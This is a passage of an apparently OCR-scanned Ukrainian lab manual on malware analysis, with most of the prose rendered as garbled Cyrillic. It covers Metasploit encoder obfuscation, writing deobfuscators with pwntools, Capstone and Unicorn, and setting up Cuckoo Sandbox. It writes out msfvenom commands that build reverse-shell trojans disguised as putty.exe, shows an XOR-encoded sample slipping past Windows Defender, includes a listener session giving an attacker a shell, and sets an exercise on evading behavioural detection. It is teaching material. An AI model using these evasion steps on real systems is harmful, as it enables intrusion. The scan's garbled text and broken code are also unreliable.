Posristremo 6iibiin jgeTaibHO 1pobJieMy Ha IpocToMy mpukiai. B skocti “IIITT3”
Bukopucraemo Metasploit Framework [36], HaBanTayKeHHsI BCTAHOBJIIOE 3’€IHAHHS
3 cepBepOM 3JIOBMUCHUKA Ta JA€ JIOCTYI 0 KOMAHJIHOI 0DOJIOHKH, 00(dycKa-

uis bf xor [37]. Linsosa cucrema Windows 10, Windows Defender axrusosano

3 HAJIAIITYBAHHSMH 33 3aMOBUYBAHHSIM. 3T€HEPYEMO 2 3Pa3KW, B SKOCTI KOH-

TposibHOTO TecTy samplel.exe 6e3 0OdycKaIrii:

$ msfvenom -p windows/shell_reverse_tcp lhost=172.16.78.1 lport=1337 -f exe -
X putty.exe -o samplel.exe

No encoder or badchars specified, outputting raw payload

Payload size: 324 bytes

Final size of exe file: 1096080 bytes

Saved as: samplel.exe
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Windows Security - m] 24
-
© Protection history
View the latest protection actions and recommendations from Windows
Security
o
| ) All recent items Filters v
Q Threat found - action needed. Severe
L) 4/22/2020 447 PM
= Status: Active
Active threats have not been remediated and are running on your device.
=
Threat detected: Trojan:Win32/Swrort.A
@ Alert level: Severe
Date: 4/22/2020 4:47 PM
& Category: Trojan
Details: This program is dangerous and executes commands from an attacker.
Learn more
Affected items:
file: \\vmware-host\Shared Folders\d\sample1.exe
Actions

Puc. 2.1: Windows Defender nporu Metasploit

$ msfvenom -p windows/shell_reverse_tcp lhost=172.16.78.1 lport=1337 -f exe-
only -x putty.exe -o sample2.exe -e x86/bf_xor

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/bf_xor

x86/bf_xor succeeded with size 517 (iteration=0)

x86/bf_xor chosen with final size 517

Payload size: 517 bytes

Final size of exe-only file: 1096080 bytes

Saved as: sample2.exe

[Ipu cipobi 36epeskents samplel.exe B MiIBOBIM cCTEMI 3Pa30K OJIOKYETHCS
Ha erari cTBopeHHd daiiry, puc. 2.1.

3pa3ok sample2.exe 36epiracTbest Ta 3amyckaeTbes. [licss crpamoBanns Ko-
PHCHOrO HABAHTAYKEHHsI Pearye CucTeMa MOBEIIHKOBOrO aHamidy [38], xoua it
3alli3HO — 3JIOBMHCHHUK MA€ JIOCTYII 0 KOMAHJIHOI OOOJIOHKU ILJILOBOI CHCTEMU
(puc. 2.2):
$ ncat -kvlp 1337
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Connection from 172.16.78.132.
Ncat: Connection from 172.16.78.132:50074.

Microsoft Windows [Version 10.0.18363.720]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\test>dir
Volume in drive C has no label.

Volume Serial Number is OA8F-1ADA

Directory of C:\test

04/22/2020 04:57 PM <DIR>
04/22/2020 04:57 PM <DIR> ..
04/22/2020 04:54 PM 1,096,080 sample2.exe

18



e I - |
&« X . Caleulator - o x
© Protection history
= = Standard O]
View the latest protection actions and recommendations from Windows
Security.
o y
| ) All recent items Filters 0
R M+ M Ms
@] Threat found - action needed. Severe
) :
I 4/22/2020 4:59 PM % \/ xz VX
= Status: Active
o Active threats have not been remediated and are running on your device, CE € < -
Threat detected: BehaviorWind2/Meterpreter.geniD
@ Alert level: Severe 7 8 9 X
Date: 4/22/2020 4:59 PM
Y Category: Suspicious Behavior
Details: This program is dangerous and executes commands from an attacker. 4 5 6 -
Learn more
1 2 3 +
Affected items:
behavior: pid:1584:56844127554067 + 0 =
file: Ctestisample2.exe
E) Actions

Puc. 2.2: Windows Defender nporu Metasploit + bf xor

1 File(s) 1,096,080 bytes
2 Dir(s) 86,493,143,040 bytes free

C:\test>whoami /groups
GROUP INFORMATION

Everyone

NT AUTHORITY\Local account and member of Administrators group
BUILTIN\Administrators
BUILTIN\Performance Log Users
BUILTIN\Users

NT AUTHORITY\INTERACTIVE

CONSOLE LOGON

NT AUTHORITY\Authenticated Users

NT AUTHORITY\This Organization

NT AUTHORITY\Local account

LOCAL

NT AUTHORITY\NTLM Authentication
Mandatory Label\Medium Mandatory Level

C:\test>calc

2.3.2 CraruyHuii aHajis

PosristHemo Gibin jieTajbHO YOMY Yy JAPYTrOMY BHIIAJKY HE CIPAIBOBYE CTa-
TUYHAN aHAII3aTOp Ta €MYJIATOp aHTHBipycy. s 1mporo cTBOpMMO TecTOBUi
IeJIIKO, Ta 00yCcKyeMo, O6e3 BUKOPUCTAHHS Ma0JIOHy BUKOHYBAHOTO (ailiy:

$ echo -en ’\xccHappy kitty, sleepy kitty, purr purr purr’ > sc

$ ndisasm -b32 sc

00000000 CC int3
00000001 48 dec eax

00000002 61 popa

$ msfvenom -p generic/custom payloadfile=sc -f raw -o payload.bin -e x86/
bf_xor
Found 1 compatible encoders
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Attempting to encode payload with 1 iterations of x86/bf_xor
x86/bf_xor succeeded with size 235 (iteration=0)

x86/bf_xor chosen with final size 235

Payload size: 235 bytes

Saved as: payload.bin

Huzaccembiroemo 3a gonomoror IDA 7.0 Freeware.
Y dyukIil geobdyckariii migdnpaeThcad BUMAIKOBUN 4X OalTHMII KJIIOU, 3a

goromoroo XOR po3mudpoByeThest MIETKOT, Ta MOPIBHIOETHCS 31 30epesKeHnM
3HAYECHHSIM:

seg000:00000002 55 push ebp

seg000:00000003 8B EC mov ebp, esp
seg000:00000005 83 EC 18 sub esp, 18h
seg000:00000008 8B 7D 10 mov edi, [ebp+arg_8]
seg000:0000000B loc_B: ; CODE XREF: sub_2+58j
seg000:0000000B 8B 75 0C mov esi, [ebptarg_4]
seg000:0000000E 33 CO xor eax, eax
seg000:00000010 89 45 FC mov [ebp+var_4], eax
seg000:00000013 loc_13: ; CODE XREF: sub_2+47]j
seg000:00000013 8B C8 mov ecx, eax
seg000:00000015 83 E1 03 and ecx, 3

seg000:00000018 03 C9 add ecx, ecx
seg000:0000001A 03 C9 add ecx, ecx
seg000:0000001C 03 C9 add ecx, ecx
seg000:0000001E 8B DA mov ebx, edx
seg000:00000020 D3 FB sar ebx, cl
seg000:00000022 8A CB mov cl, bl

seg000:00000024 33 DB xor ebx, ebx
seg000:00000026 39 5D 14 cmp [ebptarg_Cl, ebx
seg000:00000029 75 18 jnz short loc_43
seg000:0000002B OF B6 1E movzx ebx, byte ptr [esi]
seg000:0000002E OF B6 C9 movzx ecx, cl
seg000:00000031 33 D9 xor ebx, ecx
seg000:00000033 8B 4D 08 mov ecx, [ebpt+arg_0]
seg000:00000036 OF B6 OC 08 movzx ecx, byte ptr [eax+ecx]
seg000:0000003A 3B D9 cmp ebx, ecx
seg000:0000003C 75 07 jnz short loc_45
seg000:0000003E FF 45 FC inc [ebp+tvar_4]
seg000:00000041 EB 02 jmp short loc_45
seg000:00000043 loc_43: ; CODE XREF: sub_2+27]j
seg000:00000043 30 OE xor [esi], cl
seg000:00000045

seg000:00000045 loc_45: ; CODE XREF: sub_2+3Aj
seg000:00000045 ; sub_2+3Fj
seg000:00000045 40 inc eax

seg000:00000046 46 inc esi

seg000:00000047 3B C7 cmp eax, edi
seg000:00000049 7C C8 jl short loc_13
seg000:0000004B 3B 7D FC cmp edi, [ebp+var_4]
seg000:0000004E 74 10 jz short loc_60
seg000:00000050 83 7D 14 01 cmp [ebp+targ_Cl, 1
seg000:00000054 74 06 jz short loc_5C
seg000:00000056 42 inc edx

seg000:00000057 83 FA FF cmp edx, OFFFFFFFFh
seg000:0000005A 72 AF jb short loc_B
seg000:0000005C loc_5C: ; CODE XREF: sub_2+52j
seg000:0000005C 33 CO xor eax, eax
seg000:0000005E EB 02 jmp short locret_62
seg000:00000060 loc_60: ; CODE XREF: sub_2+4Cj
seg000:00000060 8B C2 mov eax, edx
seg000:00000062 locret_62: ; CODE XREF: sub_2+5Cj
seg000:00000062 C9 leave

seg000:00000063 C3 retn

JJtst HaIIoro MpuKJIaLy JaHi Tpo 06dycKoBaHe HABAHTAYKEHHSI:

seg000:000000AE 2A 00 00 00 sc_size dd 2Ah
seg000:000000B2 CC 48 61 70+sc_original db 0CCh, 48h, 61h,
seg000:000000C1 27 56 3D C8+sc_obfuscated db 27h, 56h, 3Dh, 0C8h, 9Bh,

OueBnIHO, 1O KJTI0Y MOXKe OyTH BiHOBIIeHUIT €3 tepebopy: key = sc_ original
XOR sc_obfuscated. ¥V marmomy BuUIauKy:
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$ ipython3

Python 3.7.7 (default, Mar 10 2020, 13:18:53)

Type ’copyright’, ’credits’ or ’license’ for more information
IPython 7.13.0 -- An enhanced Interactive Python. Type ’?’ for help.

In [1]: from pwn import x*

In [2]: x = read(’payload.bin’)

In [3]: ¢ = x[0xb2:0xb2+10]

In [4]: e = x[0xcl:]

In [5]: key = xor(c,e) [:4]

In [6]: xor(e, key)

Out [6]: b’\xccHappy kitty, sleepy kitty, purr purr purr’

Y npukiazgi BuKopucrano pwntools, qys nasamrysanas B Kali:

# apt install python-pip3 ipython3
# pip3 install pwntools

[Iponec neobdyckariii MmoykHa aBromarusyBary, dec3.py:

#!/usr/bin/env python3
from pwn import =*
context.arch = ’i386°

sig = bytearray([235, 98, 85, 139, 236, 131, 236, 24, 139, 125, 16, 139, 117,
12, 51, 192, 137, 69, 252, 139, 200, 131, 225, 3, 3, 201, 3, 201, 3,
201, 139, 218, 211, 251, 138, 203, 51, 219, 57, 93, 20, 117, 24, 15,
182, 30, 15, 182, 201, 51, 217, 139, 77, 8, 15, 182, 12, 8, 59, 217,
117, 7, 255, 69, 262, 235, 2, 48, 14, 64, 70, 59, 199, 124, 200, 59,
1256, 252, 116, 16, 131, 125, 20, 1, 116, 6, 66, 131, 250, 255, 114, 175,
51, 192, 235, 2, 139, 194, 201, 195, 85, 139, 236, 131, 236, 16, 235,
8o, 88, 137, 69, 252, 235, 55, 88, 139, 16, 137, 85, 248, 131, 192, 4,
137, 69, 244, 51, 219, 51, 192, 80, 106, 10, 255, 117, 252, 255, 117,
244, 232, 114, 2585, 255, 255, 133, 192, 116, 19, 106, 1, 255, 117, 248,
265, 117, 252, 2865, 117, 244, 232, 94, 255, 255, 255, 255, 101, 252,
201, 195, 232, 196, 255, 255, 255])

for f in sys.argv[1:]:
print ("analysing", f)
d = read(f)

o = d.find(sig)

if o !'= -1:
sz = u32(d[o+0xae:o0+0xae+4])
print ("found at offset Ox{:x}, size {}".format(o, sz))
sc = d[o+0xcl:0+0xcl+sz]

key = xor(d[o+0xb2:0+0xb2+4], sc, cut=’min’)
print ("key {0} (0x{0:x})".format (u32(key)))

sc = xor (key, sc)

print (hexdump (sc, hexii=True))
print (sc)

print (disasm(sc))

$ ./_dec3.py payload.bin sample2.exe
analysing payload.bin

found at offset 0x0, size 42

key 3093044971 (0xb85cleeb)

00000000 <cc .H .a .p .p .y 20 .k i 0t ut Ly ., 20 .s .1
00000010 .e .e .p .y 20 .k .i .t .ty , 20 P u
00000020 20 .p .u .r .r 20 .p .u .r .T
0000002a
b’\xccHappy kitty, sleepy kitty, purr purr purr’

0: cc int3

1: 48 dec eax

2: 61 popa

analysing sample2.exe
found at offset 0x6f296, size 324
key 2876082347 (0Oxab6d88ab)

Hosruit migbip kiroda y 1e00(hycKaTopi rpae BaXK/JIUBY POJIb — BBOIUTHCS
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3aTpuMka BukoHnauus. Ilin gac ckamyBaHHS BUKOHYBaHOrO (aiflly IpH KOIIo-
BaHHI Ta 3aIlyCKy aHTHUBIpYC IiepepuBa€ pobOTy 3a TailMayToOM, IPOILyCKAIOYH
MKiguBuil Koy, Binbin jeraabHO PO MexXaHi3Mu poOOTH aHTUBIPYCIB MOXKHA
JisHaTucs y [39, 40, 41].

Y npukianai neobdyckaropa bf Xor BHKOPHCTOBYETHCS IONIYK 3a CHIHA-
TYpOIO0 — JIeKoJiep Ma€e craTuduuii koj. B Gararsox 3paskax IIII13 Bukonysa-
HUIi KOJI JIEKOJIepa TAaKOXK 3MiHIoeThCst (rostiMopduuii). s foro mexomyBamus
HeOoOXiHUi OLIBINT TIHOOKUI aHaJ i3 Ta MOXKJIMBO eMyJ/Idlisd BUKOHaHHS. Po3-
IVITHEMO BUIAJOK CTATUIHOIO aHamizy. Icuye jekinbpka 6i6mioTek Ta miaardopm
It qusaceMOimoBanis, Taki gk Capstone [42], diStorm3 [43], BeaEngine [44],
Intel XED [45], Zydis [46] ra in. Po3ruszemo B sSIKOCTI IIPUKJIAY BUKOPUCTAHHS
Capstone s ananizy mesuiko s uid mwiardopm Intel x86 /x64, ARM/ARMG64,
MIPS. CrBopuMO HIEJIIKOAM 3a JOIOMOIoK pwntools, gen.py:

#!/usr/bin/env python3
from pwn import =

for arch in ["i386", "amd64", "arm", "aarch64", "mips"]:
log.info("architecture {}".format (arch))
context.update (arch=arch, **context.architectures[arch])
sc = shellcraft.sh()
#print (sc)
scbin = asm(sc)
print (hexdump (scbin, hexii=True))

write("sc.{}.bin".format (arch), scbin)

elf = make_elf (scbin)
write("sc.{}.elf".format (arch), elf)

VY Bumajaky ycmixy:

# apt install binutils-mips-linux-gnu

# ./gen.py

[*] architecture i386

00000000 .J .h .h ./ ./ ./ .8 .h ./ .b Li .n 89 e3 .h 01
00000010 01 01 01 81 .4 .$ .Tr Li 01 01 .1 c9 .Q .J 04 Y
00000020 01 el .Q 89 el .1 d2 .J Ob .X cd 80

0000002c

[*] architecture amd64

00000000 .J .h .H b8 ./ .b Li .n ./ ./ ./ .S .P .H 89 e7
00000010 .h .r i 01 01 81 .4 .$ 01 01 01 O1t .1 f6 .V |
00000020 08 e .H 01 e6 .V .H 89 e6 .1 42 J H .X 0f 05
00000030

[*] architecture arm

00000000 .h .p e3 A .q .D e3 04 .p .- e5 / Tf 02 e3
00000010 ./ .8 .G e3 04 .p .- eb ./ .r 06 e3 L1 LT .Fe3
00000020 04 .p .- eb od a0 el .S .x 06 e3 04 .p .- eb
00000030 Oc cO ., €0 04 <cO .- eb 04 10 a0 e3 0d 10 81 eO
00000040 01 <cO a0 el 04 cO .- eb 0d 10 a0 el 02 20 " e0
00000050 Ob .p a0 e3 ef

00000058

[*] architecture aarch64

00000000 ee .E 8c d2 .. cd ad f2 ee eb5 cb f2 ee .e ee f2
00000010 Of 0d 80 d2 ee .7 bf a9 e0 03 91 el 03 1f aa
00000020 e2 03 1f aa a8 1b 80 d2 01 d4

0000002c

[*] architecture mips

00000000 b .1 09 .< ./ ./ ) .5 f4 ## a9 af .S .h 09 .<
00000010 .n ./ ) .5 f8 ## a9 af fc ## a0 af f4 ## bd L2
00000020 20 20 a0bO 03 .s .h 09 .4 fc ## a9 af fc ## bd L2
00000030 ## ## 05 . ( fc ## ab af fc ## bd # fb ## 19 .$
00000040 L2 .(C 20 o03 20 .( bd fc ## ab af fc ## bd #
00000050 20 .( a0 03 fc ## a0 af fc ## bd .’ ## ## 06 . (
00000060 fc ## a6 af fc ## bd C# 20 .0 a0 03 ab 0f 02 .4

00000070 0Oc 01 01 O1
00000074

# file *elf
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sc.i386.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
statically linked, stripped

sc.amd64.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
statically linked, stripped
sc.arm.elf: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV),

statically linked, stripped

sc.aarch64.elf: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV),
statically linked, stripped

sc.mips.elf: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV),
statically linked, stripped

# for i in *elf; do echo -e "$i:\t ‘echo id | ./$i‘"; domne
sc.i386.elf: uid=0(root) gid=0(root) groups=0(root)
sc.amd64.elf: uid=0(root) gid=0(root) groups=0(root)
sc.arm.elf: uid=0(root) gid=0(root) groups=0(root)
sc.aarch64.elf: uid=0(root) gid=0(root) groups=0(root)
sc.mips.elf: uid=0(root) gid=0(root) groups=0(root)

Capstone moxke BukopucroByBatucs 3 Python, disasm.py:

#!/usr/bin/env python3
from capstone import *

architectures = {
"i386" : (CS_ARCH_X86, CS_MODE_32),
"amd64" : (CS_ARCH_X86, CS_MODE_64),
"arm" : (CS_ARCH_ARM, CS_MODE_ARM),
"aarch64" : (CS_ARCH_ARM64, CS_MODE_ARM),
"mips" : (CS_ARCH_MIPS, CS_MODE_MIPS32)
}
for arch in ["i386", "amd64", "arm", "aarch64", "mips"]:
print ("=== architecture {}".format (arch))
md = Cs(xarchitectures[arch])
code = open("sc.{}.bin".format (arch), "rb").read()

for i in md.disasm(code, 0):
print ("{:03x}: {:20s} [{}] [{}]".format(i.address, i.bytes.hex(), i.
mnemonic, i.op_str))
print ("done.")

PesynbpraT podoTn

=== architecture i386

000: 6a68 [push] [0x68]

002: 682f2f2f73 [push] [0x732f2f2f]
007: 682f62696e [push] [0x6e69622f]
00c: 89e3 [mov] [ebx, espl
00e: 6801010101 [push] [0x1010101]
013: 81342472690101 [xor] [dword ptr [esp], 0x1016972]
Ola: 31c9 [xor] [ecx, ecx]
Olc: 51 [push] [ecx]

01d: 6a04 [push] [4]

01f: 59 [pop]l [ecxl]

020: Olel [add] [ecx, espl
022: 51 [push] [ecx]

023: 89el [mov] [ecx, espl
025: 31d2 [xor] [edx, edx]
027: 6a0b [push] [0xDb]

029: 58 [pop] [eax]

02a: cd80 [int] [0x80]

done.

=== architecture amd64

000: 6a68 [push] [0x68]

002: 48b82f62696e2f2f2f73 [movabs] [rax, 0x732f2f2f6e69622f]
00c: 50 [push] [rax]

00d: 4889e7 [mov] [rdi, rspl
010: 6872690101 [push] [0x1016972]
015: 81342401010101 [xor] [dword ptr [rsp]l, 0x1010101]
Olc: 31f6 [xor] [esi, esil]
Ole: 56 [push] [rsi]

01f: 6a08 [push] [8]

021: 5e [pop]l I[rsil

022: 4801e6 [add] [rsi, rspl
025: 56 [push] [rsil

026: 4889e6 [mov] [rsi, rspl
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029:
02b:
02d:
02e:

31d2
6a3b
58

0f05

done.

000:
004:
008:
00c:
010:
014:
018:
Olc:
020:
024:
028:
02c:
030:
034:
038:
03c:
040:
044:
048:
O4c:
050:
054:

architecture arm
687000e3
4171443
04702de5
2f7£f02e3
2£7347e3
04702de5
2£7206e3
697 e46e3
04702de5
0d00alel
737806e3
04702de5
0cc02cel
04c02deb
0410a0e3
0d1081e0
01cOalel
04c02deb
0d10alel
022022e0
0b70a0e3
000000ef

done.

000:
004:
008:
00c:
010:
014:
018:
Olc:
020:
024:
028:

architecture aarch64
ee458cd2
2ecdadf2
eeebcbf2
ee65eef2
0£f0d80d2
ee3fbfad
e0030091
el031faa
e2031faa
a81b80d2
010000d4

done.

000:
004:
008:
00c:
010:
014:
018:
Olc:
020:
024:
028:
02c:
030:
034:
038:
03c:
040:
044:
048:
Odc:
050:
054:
058:
05c:
060:
064:
068:
06¢c:
070:

architecture mips
6269093c
2£2£2935
faffa9af
7368093c
6e2£2935
f8ffa9af
fcffalaf
f4f£fbd27
2020a003
73680934
fcffa9af
fcffbd27
ff££0528
fcffabaf
fcffbd23
foff1924
27282003
2028bd00
fcffabaf
fcffbd23
2028a003
fcffalaf
fcffbd27
f£££0628
fcffa6af
fcffbd23
2030a003
ab0£f0234
0c010101

done.

[xor] [edx,
[push]

[pop]l [rax]

edx]

[0x3b]

[syscalll I[]

[movw] [r7, #0x68]
[movt] [r7, #0x4141]
[str]l [r7, [sp, #-41!']
[movw] [r7, #0x2f2f]
[movt] [r7, #0x732f]
[str]l [r7, [sp, #-41!]
[movw] [r7, #0x622f]
[movt] [r7, #0x6e69]
[str]l [r7, [sp, #-4]1!']
[mov] [r0, sp]

[movw] [r7, #0x6873]
[str]l [r7, [sp, #-4]1!']
[eor] [ip, ip, ipl

[str] [ip, [sp, #-41!']
[mov] [r1, #4]

[add] [r1, r1, spl

[mov] [ip, ri]

[str] [ip, [sp, #-41!'1]
[mov] [r1, spl

[eor] [r2, r2, r2]

[mov] [r7, #0xb]

[svec]l [#0]

[movz] [x14, #0x622f]
[movk] [x14, #0x6e69, 1lsl #16]
[movk] [x14, #0x2f2f, 1lsl #32]
[movk] [x14, #0x732f, 1sl #48]
[movz] [x15, #0x68]
[stp]l [x14, x15, [sp, #-0x10]!]
[mov] [x0, spl

[mov] [x1, xzr]

[mov] [x2, xzr]

[movz] [x8, #0xdd]

[svc]l [#0]

[1uil [$t1, 0x6962]
[ori] [$t1, $t1, 0x2f2f]
[sw] [$t1, -Oxc($sp)l]
[luil [$t1, 0x6873]
[ori] [$t1, $t1, Ox2f6e]
[sw] [$t1, -8($sp)]

[sw] [$zero, -4($sp)l]
[addiu] [$sp, $sp, -0xcl
[add] [$a0, $sp, $zerol]
[ori] [$t1, $zero, 0x6873]
[sw] [$t1, -4($sp)]
[addiul [$sp, $sp, -4]
[s1ti] [$al, $zero, -1]
[sw] [$al, -4($sp)]
[addi] [$sp, $sp, -4]
[addiul [$t9, $zero, -5]
[not] [$al, $t9]

[add] [$al, $al, $spl
[sw]l [$al, -4($sp)]
[addi] [$sp, $sp, -4]
[add] [$al, $sp, $zerol
[sw] [$zero, -4($sp)]
[addiu] [$sp, $sp, -4]
[s1ti] [$a2, $zero, -1]
[sw] [$a2, -4($sp)]
[addi] [$sp, $sp, -4]
[add] [$a2, $sp, $zerol]
[ori] [$v0, $zero, Oxfabl]
[syscall]l [0x40404]
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3BepHiTh yBary, Capstone Ta Unicorn 6ysio mpoiHCTAIBOBAHO PAHIIIE y CKJIa-
ni pwntools, Binnosigai binutils (xkpim MIPS) Ta gemu-user-binfmt B aboparop-
Hi#t pobori 1.

2.3.3 [dunamiuHuii aHai3

Posrnsgaemo puramMivamii aHAII3 BUKOHYBAHOTO KOJY HA IIPUKJIAJIL eMYJISIIil [esII-
Koy i x86 64 3a momomororo Unicorn Engine [47]. TIpoananizyemo memixosr
3 po3ainy 2.3.2, emu.py:

#!/usr/bin/env python3
from unicorn import x*
from unicorn.x86_const import *

from capstone import *
cs = Cs(CS_ARCH_X86, CS_MODE_64)

code = open("sc.amd64.bin", "rb").read()
address = 0

def hook_code(uc, address, size, user_data):
global cs
ins = uc.mem_read (address, size)
#print ("hook called at Ox{:x}, instruction {}".format(address, ins.hex())

for i in cs.disasm(ins, 0):
print ("hook 0x{:03x} size {:2d}: {:03x}: {:20s} {} {}".format (address
, size, address + i.address, i.bytes.hex(), i.mnemonic, i.op_str

))

def hook_syscall(mu, user_data):
rax = mu.reg_read (UC_X86_REG_RAX)
rdi = mu.reg_read(UC_X86_REG_RDI)

if rax == 59:
fn = mu.mem_read(rdi, 0x1000)
fn = fn.split(b"\0") [0]
fn = bytes(fn)
print ("SYS_execve {}".format(fn))
else:
print ("syscall rax=0x{:x}, rdi=Ox{:x}".format(rax, rdi))

mu = Uc(UC_ARCH_X86, UC_MODE_64)

mu.mem_map (address, address + 0x2000)
mu.mem_write (address, code)

mu.reg_write (UC_X86_REG_ESP, address + 0x1000)

mu.hook_add (UC_HOOK_CODE, hook_code)
mu.hook_add (UC_HOOK_INSN, hook_syscall, None, 1, O, UC_X86_INS_SYSCALL)

mu.emu_start (address, address + len(code))
print ("done.")

Kon emysmioe Bukonamus 3a gonomororo QEMU, Bukimkae hook code ms
KOYKHOT IHCTPYKIIi1, IEPEXOIIIOE CHCTEMH] BUKJIMKH 1 jiy1st SY'S _execve BUBOJIUTH
iM’s1 BUKOHyBaHOrO daitmy. Y pasi ycmixy:

$ ./_emu.py

hook 0x000 size 2: 000: 6a68 push 0x68

hook 0x002 size 10: 002: 48b82f62696e2f2f2f73 movabs rax, 0x732f2f2f6e69622f
hook 0x00c size 1: 00c: 50 push rax

hook 0x00d size 3: 00d: 4889e7 mov rdi, rsp

hook 0x010 size 5: 010: 6872690101 push 0x1016972

hook 0x015 size 7: 015: 81342401010101 xor dword ptr [rsp]l, 0x1010101
hook 0x01lc size 2: Olc: 31f6 Xor esi, esi

hook 0x0le size 1: Ole: 56 push rsi

hook 0x01f size 2: 01f: 6a08 push 8

hook 0x021 size 1: 021: b5e pop rsi

hook 0x022 size 3: 022: 4801e6 add rsi, rsp

hook 0x025 size 1: 025: 56 push rsi
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hook 0x026 size 3: 026: 4889e6 mov rsi, rsp
hook 0x029 size 2: 029: 31d2 xor edx, edx
hook 0x02b size 2: 02b: 6a3b push 0x3b
hook 0x02d size 1: 02d: 58 pop rax

hook 0x02e size 2: 02e: 0fO05 syscall
SYS_execve b’/bin///sh?’

done.

s amamizy komy, mo sukopucroBye Win32 API, moxke 6yTu 3acTtocoBana
libemu [48] ta Ti aganToBana 10 Unicorn Engine sepcist [49]. Kpim Unicorn icay-
FOTh 1 iHIM 11aT(hOPME 3 MOXKJIMBOCTSIMEA €MYJISIIi], CAMBOJIIYHOTO Ta YaCTKOBO-
CHMBOJIITYHOTO BUKOHaHHs (symbolic and concolic execution) [50, 51].

Binpme irdopwmarii npo cygacui meromu obdyckarii ta meobdyckariii Koy
MoOzkHa 3HafiTH y [52].

2.4 BapiaHTH 3aBJaHb

o IIpoanasisyiite 06dyckarop (encoder) 3 Metasploit 3a BapianTom, Tadur. 2.1.
e PeautizyiiTe crarnanmit meobdyckarop aua Bammoro BapianTy, po3mia 2.3.2.

o PeautizyiiTe nunamiunnit qeobdyckarop mis Bamoro BapiaaTy, po3mia 2.3.3.

2.5 KoHTpoJbHI TUTaHHA

1. 4k nepexonutu cucremunii BukjauK y Unicorn, Linux ARM?

2. dx momudikyBaTu meakon y posmiii 2.3.1 ajsa 00Xoay MOBEIIHKOBOTO
anasizy Windows Defender?
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Tabn. 2.1: Moxyas Metasploit mua mocimkenms

Bapiant

O6dyckaTop

Komenrap

1

00 J O Ui W N

11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

x86/xor _dynamic
x86/unicode upper
x86/unicode mixed
x86/shikata ga nai
x86/opt__sub

x86 /nonupper

x86 /nonalpha
x86/jmp _call additive
x86/fnstenv__mov
x86/countdown
x86/context _time
x86/context _stat
x86/context cpuid
x86/calld _dword _xor
x86/bmp _polyglot
x86 /bloxor

x86/avoid _utf8 tolower
x86/avoid underscore _tolower
x86/alpha_upper
x86/alpha_mixed
x86/add__sub

x64 /zutto__dekiru
x64/xor dynamic

x64 /xor

sparc/longxor _tag
ppc/longxor _tag
ppc/longxor
mipsle/longxor
mipsle/byte xori
mipsbe/longxor
mipsbe/byte xori

Dynamic key XOR

Alpha2 Alphanumeric Unicode Uppercase
Alpha2 Alphanumeric Unicode Mixedcase
Polymorphic XOR Additive Feedback
Sub (optimised)

Non-Upper

Non-Alpha

Jump/Call XOR Additive Feedback
Variable-length Fnstenv/mov Dword XOR
Single-byte XOR Countdown
time(2)-based Context Keyed Payload
stat(2)-based Context Keyed Payload
CPUID-based Context Keyed Payload
Call+4 Dword XOR

BMP Polyglot

BloXor - A Metamorphic Block Based XOR
Avoid UTF8/tolower

Avoid underscore/tolower

Alpha2 Alphanumeric Uppercase

Alpha2 Alphanumeric Mixedcase
Add/Sub

Zutto Dekiru

Dynamic key XOR

XOR

SPARC DWORD XOR

PPC LongXOR

PPC LongXOR

XOR

Byte XORi

XOR

Byte XORi
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JlaboparTopua poborta 3

JIlpnpaMiuHMiT aHaJII3
IK1IJINBOT'O IIPOIrPaMHOI0
3a0e3nedeHHs

3.1 Mera poboru

Otrpumarn Hapwuku muaamivaoro anamizy I3 mra mrardopm Windows x86
Ta x64.

3.2 IlocranoBka 3ajgaui

Hocaiguru meronu apromarwanoro anajizy IIII3 y micouHuri ta momyssipHIx
aHTUBipycHUX 3acobax. JlocmiguTr MeToau MPOTHIIl AMHAMIYHOMY aHAJII3y B
nporieci jocrasku ITITT3.

3.3 Ilopsnok BukoHaHHSA poboTH

3.3.1 Cuckoo Sandbox

O/inH 3 TOMYJISIPHAX METO/IB aHAJI3Y IIKiJINBOTO MPOTPAMHOTO 3a0e3MeYeHHS
— moBeniHKOBUil aHawi3 B micoununi (malware sandbox). ITpu HBOMY 3pa3ok 3a-
IIyCKAEThCs y BipTyasbHiit abo dizuvniit MmamunHi 3 KoHIryparieo 6Ju3bK0I0 J10
[THOBOT, Ta BiACTIIKOBYIOTHCS 3MIHU CUCTEMU, MEPEXKeBa AKTUBHICTD, aHAJI3Y-
€ThCs OIEPATUBHA [IaM STh, TOPOKEHI mportecH, Ta in. Ile mo3Bomnse BusiBisaTH
OibIT MIUPOKUI KJIAC MIKIJITUBOTO MPOIPAMHOTO 3a0e3MedeHHs, B TOMY YHCJIi
HEBIJIOMOro Ta,/ab0 1iTbOBOIO, M0 AKTUBYETHCS B 3a/]aHOMY BY3bKOMY KJIACi CH-
creM. CepeJ; HEJIOMKIB — BUCOKA PECYPCOEMHICTD Ta HU3bKA MIBUJIKICTD aHAJII3Y.

Jlinepom cepen micounuis 3 BiakpuTuMm KozgoMm € Cuckoo Sandbox [53]. Icuye
BeJINKa KUIbKICTh OHJIANH cucreM Ha 1T 0cHOBI (juB. Hanpukiay [54]), Ta MoxKIn-
BIiCTB JIOKAJIHOTO PO3rOpTaHHs. PO3TiIsiHEMO MPOIeC JIOKAJIBHOTO HAJIAIITYBAH-
Hel T4 BUKOPHUCTAHHS IS QHAJI3Y IIKiJIMBOTO IIPOrPAMHOTO 3a0e3IeYeHHs .

JleTasHo TIpotec po3ropTaHHS OMMCAHO B oKyMeHTaril [55]. OcHOBHI Kpokm
ntst Bepeii 2.0.7 (ocTaHHsT Ha MOMEHT IITOTOBKU TIOCIOHUKY ):
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1. Hanamryemo virtualenv ta posropuaemo cuckoo:

$ virtualenv venv

$ . venv/bin/activate

(venv)$ pip install -U ’setuptools<45.0.0°
(venv)$ pip install -U cuckoo

(venv)$ cuckoo
(venv)$ cuckoo community

2. Homamo MOXKJIMBICTH HepexolieHHd Tpadiky /I KOpUCTyBada:

# setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

3. Hanamryemo VirtualBox — BcranoBumo 3 odirmifinoro caitTy, 3MiHIMO Ha-
